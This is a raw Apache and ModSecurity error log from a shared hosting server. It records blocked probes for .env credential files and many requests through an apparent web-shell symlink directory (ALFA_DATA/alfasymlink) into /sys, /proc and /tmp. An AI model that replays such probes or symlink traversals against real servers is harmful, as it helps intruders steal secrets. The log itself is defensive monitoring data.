[Sun Oct 25 18:16:26.177373 2026] [security2:error] [pid 2910739:tid 2910739] [client 45.138.12.49:35370] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/opt/app/.env.production"] [unique_id "at5_uuUXdcRSgvG0fzDdZwAAACA"]
[Sun Oct 25 18:16:27.481371 2026] [core:crit] [pid 2912578:tid 2912578] (13)Permission denied: [client 45.138.12.49:59048] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 18:16:27.565977 2026] [core:crit] [pid 2912579:tid 2912579] (13)Permission denied: [client 45.138.12.49:59310] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 18:16:28.264142 2026] [security2:error] [pid 2912579:tid 2912579] [client 45.138.12.49:35690] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /usr/src/app/.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/usr/src/app/.env.local"] [unique_id "at5_vKfZfxaHEGOmx1VpNAAAAAk"]
[Sun Oct 25 18:16:28.264655 2026] [security2:error] [pid 2912579:tid 2912579] [client 45.138.12.49:35690] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/usr/src/app/.env.local"] [unique_id "at5_vKfZfxaHEGOmx1VpNAAAAAk"]
[Sun Oct 25 18:16:28.264949 2026] [security2:error] [pid 2912579:tid 2912579] [client 45.138.12.49:35690] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/usr/src/app/.env.local"] [unique_id "at5_vKfZfxaHEGOmx1VpNAAAAAk"]
[Sun Oct 25 18:16:28.379761 2026] [security2:error] [pid 2912578:tid 2912578] [client 45.138.12.49:35686] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /opt/app/.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/opt/app/.env.local"] [unique_id "at5_vCjeAcXSVNLIhICg6QAAAAY"]
[Sun Oct 25 18:16:28.380187 2026] [security2:error] [pid 2912578:tid 2912578] [client 45.138.12.49:35686] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/opt/app/.env.local"] [unique_id "at5_vCjeAcXSVNLIhICg6QAAAAY"]
[Sun Oct 25 18:16:28.380453 2026] [security2:error] [pid 2912578:tid 2912578] [client 45.138.12.49:35686] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/opt/app/.env.local"] [unique_id "at5_vCjeAcXSVNLIhICg6QAAAAY"]
[Sun Oct 25 18:16:28.926678 2026] [core:crit] [pid 2912582:tid 2912582] (13)Permission denied: [client 45.138.12.49:59470] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 18:16:29.485338 2026] [core:crit] [pid 2912583:tid 2912583] (13)Permission denied: [client 45.138.12.49:59556] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 18:16:29.567962 2026] [core:error] [pid 2912584:tid 2912584] (13)Permission denied: [client 185.191.171.2:54872] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Namespace/cpu_slabs
[Sun Oct 25 18:16:30.456052 2026] [ssl:error] [pid 2912585:tid 2912585] (70014)End of file found: [client 44.193.115.232:8765] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:16:30.957027 2026] [core:crit] [pid 2912586:tid 2912586] (13)Permission denied: [client 45.138.12.49:59750] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 18:16:31.106515 2026] [core:crit] [pid 2912588:tid 2912588] (13)Permission denied: [client 45.138.12.49:59756] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 18:16:31.878000 2026] [core:crit] [pid 2912590:tid 2912590] (13)Permission denied: [client 45.138.12.49:59848] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 18:16:46.248733 2026] [core:error] [pid 2912579:tid 2912579] (13)Permission denied: [client 3.225.9.97:25862] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:02/physical_node/subsystem/drivers/cirrus/unbind
[Sun Oct 25 18:16:50.204830 2026] [ssl:error] [pid 2912578:tid 2912578] (70014)End of file found: [client 98.84.200.43:27820] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:16:53.852443 2026] [core:error] [pid 2912581:tid 2912581] (13)Permission denied: [client 45.149.24.239:40196] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/object_size
[Sun Oct 25 18:16:56.066821 2026] [core:error] [pid 2912589:tid 2912589] (13)Permission denied: [client 73.156.92.203:58319] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/object_size
[Sun Oct 25 18:16:56.275519 2026] [core:error] [pid 2912591:tid 2912591] (13)Permission denied: [client 98.97.53.141:39467] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/aliases
[Sun Oct 25 18:16:58.121775 2026] [core:error] [pid 2910029:tid 2910029] (13)Permission denied: [client 105.235.128.104:39210] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/object_size
[Sun Oct 25 18:16:58.190017 2026] [core:error] [pid 2912580:tid 2912580] (13)Permission denied: [client 52.205.141.124:15770] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:01/subsystem/devices/LNXSYBUS:00/PNP0A03:00/physical_node/0000:00:01.3/subsystem/drivers/thunderbolt/unbind
[Sun Oct 25 18:16:58.938228 2026] [core:error] [pid 2912579:tid 2912579] (13)Permission denied: [client 179.178.114.35:45422] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/aliases
[Sun Oct 25 18:17:00.209834 2026] [core:error] [pid 2912578:tid 2912578] (13)Permission denied: [client 9.139.2.176:48007] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/aliases
[Sun Oct 25 18:17:02.203922 2026] [ssl:error] [pid 2899920:tid 2899920] (70014)End of file found: [client 184.73.167.217:60944] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:17:10.192306 2026] [security2:error] [pid 2910029:tid 2910029] [client 35.171.117.160:55685] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/device:00/subsystem/devices/PNP0700:00/power/"] [unique_id "at5_5jFcH7iHSIgvWzjm5wAAAEY"]
[Sun Oct 25 18:17:10.192341 2026] [security2:error] [pid 2910029:tid 2910029] [client 35.171.117.160:55685] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/device:00/subsystem/devices/PNP0700:00/power/"] [unique_id "at5_5jFcH7iHSIgvWzjm5wAAAEY"]
[Sun Oct 25 18:17:15.402813 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 86.150.95.244:59595] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/cpu_slabs
[Sun Oct 25 18:17:17.907032 2026] [core:error] [pid 2912581:tid 2912581] (13)Permission denied: [client 190.32.84.246:41416] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/cpu_slabs
[Sun Oct 25 18:17:20.367008 2026] [core:error] [pid 2912589:tid 2912589] (13)Permission denied: [client 31.223.11.189:36649] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/cpu_slabs
[Sun Oct 25 18:17:21.340897 2026] [security2:error] [pid 2907640:tid 2907640] [client 107.172.76.131:65205] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5_5AYZaEKvpE7JCm_rWgAAAAA"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 18:17:21.340977 2026] [security2:error] [pid 2907640:tid 2907640] [client 107.172.76.131:65205] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5_5AYZaEKvpE7JCm_rWgAAAAA"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 18:17:26.189749 2026] [ssl:error] [pid 2912447:tid 2912447] (70014)End of file found: [client 44.205.120.22:39064] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:17:30.210194 2026] [ssl:error] [pid 2905723:tid 2905723] (70014)End of file found: [client 34.234.200.207:12878] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:17:33.597322 2026] [core:error] [pid 2912499:tid 2912499] (13)Permission denied: [client 68.34.139.95:51065] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/poison
[Sun Oct 25 18:17:35.920304 2026] [core:error] [pid 2912589:tid 2912589] (13)Permission denied: [client 62.197.144.85:37680] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/poison
[Sun Oct 25 18:17:38.188924 2026] [ssl:error] [pid 2912447:tid 2912447] (70014)End of file found: [client 98.82.59.253:4985] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:17:39.150983 2026] [core:error] [pid 2912591:tid 2912591] (13)Permission denied: [client 208.102.208.123:34356] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/alloc_calls
[Sun Oct 25 18:17:40.695017 2026] [core:error] [pid 2912581:tid 2912581] (13)Permission denied: [client 108.54.104.63:57613] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/alloc_calls
[Sun Oct 25 18:17:42.308004 2026] [core:error] [pid 2905723:tid 2905723] (13)Permission denied: [client 188.50.89.212:47334] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/alloc_calls
[Sun Oct 25 18:17:50.198425 2026] [ssl:error] [pid 2912578:tid 2912578] (70014)End of file found: [client 44.205.74.196:64322] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:17:54.234520 2026] [core:error] [pid 2910740:tid 2910740] (13)Permission denied: [client 54.147.80.137:26258] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/tty11/subsystem/ttyS1/iomem_reg_shift
[Sun Oct 25 18:18:02.687028 2026] [core:error] [pid 2912591:tid 2912591] (13)Permission denied: [client 37.239.194.4:60523] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma_chain/slabs_cpu_partial
[Sun Oct 25 18:18:05.029931 2026] [core:error] [pid 2912499:tid 2912499] (13)Permission denied: [client 86.147.108.20:60111] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_system_zone/validate
[Sun Oct 25 18:18:05.273270 2026] [core:error] [pid 2910740:tid 2910740] (13)Permission denied: [client 38.41.5.99:59689] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma_chain/slabs_cpu_partial
[Sun Oct 25 18:18:06.230220 2026] [ssl:error] [pid 2905723:tid 2905723] (70014)End of file found: [client 23.21.175.228:37450] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:18:07.109906 2026] [core:error] [pid 2912589:tid 2912589] (13)Permission denied: [client 85.98.21.14:45260] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_system_zone/validate
[Sun Oct 25 18:18:07.667426 2026] [core:error] [pid 2910718:tid 2910718] (13)Permission denied: [client 95.214.211.132:9742] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma_chain/slabs_cpu_partial
[Sun Oct 25 18:18:08.667704 2026] [core:error] [pid 2912578:tid 2912578] (13)Permission denied: [client 107.216.135.128:35890] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_system_zone/validate
[Sun Oct 25 18:18:10.194506 2026] [ssl:error] [pid 2912499:tid 2912499] (70014)End of file found: [client 35.153.86.200:14856] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:18:18.672568 2026] [core:error] [pid 2912447:tid 2912447] (13)Permission denied: [client 38.29.58.42:50965] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/free_calls
[Sun Oct 25 18:18:20.061832 2026] [ssl:error] [pid 2912499:tid 2912499] (70014)End of file found: [client 185.191.171.12:27902] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:18:23.131030 2026] [core:error] [pid 2905723:tid 2905723] (13)Permission denied: [client 81.147.74.244:41269] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/free_calls
[Sun Oct 25 18:18:27.767297 2026] [core:crit] [pid 2912499:tid 2912499] (13)Permission denied: [client 216.244.66.250:44736] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2195328/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2195328/fd/' is executable
[Sun Oct 25 18:18:27.767378 2026] [core:crit] [pid 2912499:tid 2912499] (13)Permission denied: [client 216.244.66.250:44736] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2195328/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2195328/map_files/' is executable
[Sun Oct 25 18:18:27.767399 2026] [core:crit] [pid 2912499:tid 2912499] (13)Permission denied: [client 216.244.66.250:44736] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2195328/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2195328/fdinfo/' is executable
[Sun Oct 25 18:18:31.675353 2026] [core:crit] [pid 2910740:tid 2910740] (13)Permission denied: [client 216.244.66.250:49454] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/45/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/45/fd/' is executable
[Sun Oct 25 18:18:31.675409 2026] [core:crit] [pid 2910740:tid 2910740] (13)Permission denied: [client 216.244.66.250:49454] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/45/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/45/map_files/' is executable
[Sun Oct 25 18:18:31.675426 2026] [core:crit] [pid 2910740:tid 2910740] (13)Permission denied: [client 216.244.66.250:49454] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/45/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/45/fdinfo/' is executable
[Sun Oct 25 18:18:39.606402 2026] [ssl:error] [pid 2912499:tid 2912499] (70014)End of file found: [client 98.110.181.201:43028] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:18:42.279444 2026] [ssl:error] [pid 2912588:tid 2912588] (70014)End of file found: [client 18.235.158.19:10456] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:18:46.529324 2026] [ssl:error] [pid 2912578:tid 2912578] (70014)End of file found: [client 187.192.147.36:45293] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:18:50.278985 2026] [ssl:error] [pid 2910029:tid 2910029] (70014)End of file found: [client 35.170.205.140:62482] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:18:53.802583 2026] [ssl:error] [pid 2899920:tid 2899920] (70014)End of file found: [client 37.236.120.146:49616] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:18:56.659454 2026] [core:error] [pid 2912499:tid 2912499] (13)Permission denied: [client 85.208.96.207:47728] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-1k/store_user
[Sun Oct 25 18:18:58.178645 2026] [ssl:error] [pid 2910718:tid 2910718] (70014)End of file found: [client 52.70.209.13:4145] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:19:02.187851 2026] [ssl:error] [pid 2912588:tid 2912588] (70014)End of file found: [client 52.45.15.233:1288] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:19:10.278546 2026] [ssl:error] [pid 2912991:tid 2912991] (70014)End of file found: [client 44.208.223.68:55208] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:19:22.172649 2026] [ssl:error] [pid 2912588:tid 2912588] (70014)End of file found: [client 54.84.161.62:58095] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:19:34.302284 2026] [core:error] [pid 2912991:tid 2912991] (13)Permission denied: [client 98.84.60.17:6242] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty1/subsystem/tty0/subsystem/ttyS1/line
[Sun Oct 25 18:19:50.961630 2026] [core:error] [pid 2910693:tid 2910693] (13)Permission denied: [client 85.208.96.209:54364] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_record_s/cpu_partial
[Sun Oct 25 18:20:02.200047 2026] [ssl:error] [pid 2912591:tid 2912591] (70014)End of file found: [client 44.196.118.6:21770] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:20:06.718764 2026] [ssl:error] [pid 2910740:tid 2910740] (5)Input/output error: [client 54.86.59.155:45895] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:20:10.167981 2026] [core:error] [pid 2905723:tid 2905723] (13)Permission denied: [client 44.212.145.46:35972] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/kernel/slab/kmalloc-cg-16/slabs
[Sun Oct 25 18:20:11.274037 2026] [core:error] [pid 2912591:tid 2912591] (13)Permission denied: [client 193.107.18.45:37662] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/destroy_by_rcu
[Sun Oct 25 18:20:11.619149 2026] [authz_core:error] [pid 2913030:tid 2913030] [client 104.152.52.129:52545] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 18:20:13.000725 2026] [core:error] [pid 2910740:tid 2910740] (13)Permission denied: [client 40.142.223.162:45599] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/destroy_by_rcu
[Sun Oct 25 18:20:13.001176 2026] [security2:error] [pid 2910740:tid 2910740] [client 40.142.223.162:45599] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/destroy_by_rcu"] [unique_id "at6AnNYI18aClSq__RQ-qwAAACI"]
[Sun Oct 25 18:20:13.001204 2026] [security2:error] [pid 2910740:tid 2910740] [client 40.142.223.162:45599] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/destroy_by_rcu"] [unique_id "at6AnNYI18aClSq__RQ-qwAAACI"]
[Sun Oct 25 18:20:13.902143 2026] [core:error] [pid 2913086:tid 2913086] (13)Permission denied: [client 62.35.133.239:56333] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/user_namespace/slabs_cpu_partial
[Sun Oct 25 18:20:14.182868 2026] [core:error] [pid 2910720:tid 2910720] (13)Permission denied: [client 18.208.11.93:31089] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/tty8/subsystem/ttyS2/closing_wait
[Sun Oct 25 18:20:15.983547 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 168.232.145.12:50546] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/destroy_by_rcu
[Sun Oct 25 18:20:16.179084 2026] [core:error] [pid 2905723:tid 2905723] (13)Permission denied: [client 201.209.213.226:21900] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/user_namespace/slabs_cpu_partial
[Sun Oct 25 18:20:21.573009 2026] [core:error] [pid 2910720:tid 2910720] (13)Permission denied: [client 185.191.171.19:31096] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-8k/validate
[Sun Oct 25 18:20:26.163499 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 54.243.63.52:44259] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:20:27.197372 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 216.244.66.250:46766] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/tmp.T1J770x0G4
[Sun Oct 25 18:20:30.249357 2026] [core:error] [pid 2910720:tid 2910720] (13)Permission denied: [client 34.194.95.99:22295] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/devices/cpu0/driver/cpu0/subsystem/drivers_probe
[Sun Oct 25 18:20:34.175533 2026] [ssl:error] [pid 2913086:tid 2913086] (70014)End of file found: [client 3.221.156.96:59171] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:20:35.714522 2026] [core:error] [pid 2910693:tid 2910693] (13)Permission denied: [client 185.191.171.14:64376] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmem_cache/sanity_checks
[Sun Oct 25 18:20:41.373624 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 72.181.183.2:43331] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_system_zone/objs_per_slab
[Sun Oct 25 18:20:42.172008 2026] [ssl:error] [pid 2912591:tid 2912591] (5)Input/output error: [client 50.16.216.166:44121] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:20:43.703635 2026] [core:error] [pid 2912499:tid 2912499] (13)Permission denied: [client 187.13.205.77:34868] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_system_zone/objs_per_slab
[Sun Oct 25 18:20:45.228988 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 79.127.185.3:33596] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_system_zone/objs_per_slab
[Sun Oct 25 18:20:46.328416 2026] [ssl:error] [pid 2905723:tid 2905723] (70014)End of file found: [client 34.196.237.236:32914] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:20:55.593391 2026] [core:error] [pid 2910718:tid 2910718] (13)Permission denied: [client 178.66.130.67:9277] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/vm_area_struct/slabs_cpu_partial
[Sun Oct 25 18:20:56.073486 2026] [core:error] [pid 2912499:tid 2912499] (13)Permission denied: [client 209.107.212.30:44715] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/objects_partial
[Sun Oct 25 18:20:57.450002 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 69.160.113.92:4161] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/vm_area_struct/slabs_cpu_partial
